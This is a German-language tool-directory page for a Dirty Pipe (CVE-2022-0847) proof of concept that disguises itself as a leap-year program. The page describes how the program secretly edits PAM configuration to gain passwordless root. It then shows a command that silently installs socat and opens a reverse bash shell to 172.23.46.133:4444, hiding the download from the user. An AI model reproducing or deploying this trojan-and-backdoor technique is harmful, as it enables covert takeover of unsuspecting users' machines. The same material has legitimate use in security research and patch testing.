Skip to content
KitploitKITPLOIT
ToolsBlog
Einreichen
ToolsBlog
Einreichen

Hacking-, PenTest- und Cybersicherheits-Tools für Ihr Sicherheitsarsenal!

Kitploit ist ein Verzeichnis von Hacking-, Cybersicherheits- und Pentesting-Tools. Entdecken Sie die neuesten Projekt-Updates, um Schwachstellen zu finden, Systeme zu analysieren, Tests zu automatisieren und Ihre Sicherheit zu stärken.

··Feeds·Kontakt·Datenschutz·© 2026 Kitploit

Tool-Verzeichnis

Kategorien

Alle Kategorien anzeigen
Loading categories
CVE-2022-0847-Exploit-Implementation — Verwendung von CVE-2022-0847, "Dirty Pipe Exploit", um eine reverse Bash-Shell für beliebige Codeausführung auf einem fremden Rechner zu öffnen. | Kitploit
Tools/GitHubGitHub/joeymeech/cve-2022-0847-exploit-implementation
Privilege EscalationSchwachstellenanalyseExploitationPenetrationstestsPayload-EntwicklungBinary-Exploitation
GitHubjoeymeech/cve-2022-0847-exploit-implementation

CVE-2022-0847-Exploit-Implementation

Verwendung von CVE-2022-0847, "Dirty Pipe Exploit", um eine reverse Bash-Shell für beliebige Codeausführung auf einem fremden Rechner zu öffnen.

Beliebteste

Alle anzeigen →

Entdecken Sie die meistgenutzten Tools unserer Community.

Alle Tools erkunden

Durchsuchen Sie unsere Tool-Sammlung

Alle Tools anzeigen →
Teilen
Repository anzeigen
11vor 3 JahrenNoch nicht geprüft

CVE-2022-0847-Exploit-Implementation

Dies ist ein Proof-of-Concept, das zeigt, wie man eine Reverse-Bash-Shell für die Ausführung von beliebigem Code auf einem fremden Rechner mithilfe von CVE-2022-0847, dem "Dirty Pipe Exploit", startet. Diese Sicherheitslücke betrifft nur Linux-Kernel-Versionen ab 5.8, wurde aber in den Versionen 5.16.11, 5.15.25, 5.10.102 und höher behoben. Aktualisieren Sie Ihren Kernel :)

Dieser Exploit wurde vom Sicherheitsforscher Max Kellermann entdeckt. Ich werde nicht auf die Details dieses Exploits eingehen, da er das in seinem Artikel viel besser macht als ich; https://dirtypipe.cm4all.com/

Dieses Proof-of-Concept scheint ein einfaches Schaltjahr-Programm zu sein, das Ihnen sagt, ob das angegebene Jahr ein Schaltjahr ist. Im Hintergrund ändere ich eine Zeile in /etc/pam.d/s Ich ändere die Zeile auth sufficient pam_rootok.so zu auth sufficient pam_permit.so Diese Änderung erlaubt es uns, Befehle als Superuser auszuführen, ohne ein Passwort einzugeben. Danach können wir einfach die system()-Funktion von C verwenden, um Befehle als su auszuführen.

Ich führe aus:

root@kitploit:~
su -c \"apt-get -y install socat\" > /dev/null; socat TCP4:172.23.46.133:4444 EXEC:/bin/bash & exit

Diese Zeile installiert socat auf dem System und leitet die Ausgabe in eine Null-Datei um, damit der Benutzer die Ausgabe des Downloads nicht sieht. Als Nächstes führe ich einen socat-Befehl aus, um eine Verbindung zu einem fremden Rechner mit der angegebenen IP und dem angegebenen Port herzustellen. Das & setzt diesen Prozess in den Hintergrund, sodass die Verbindung auch nach dem Schließen des Terminals durch den Benutzer bestehen bleibt.

Ausführen des Programms auf einer anfälligen Maschine:
Bild einer anfälligen Maschine

Verbinden mit der anfälligen Maschine:
Bild einer fremden Maschine

Tool herunterladen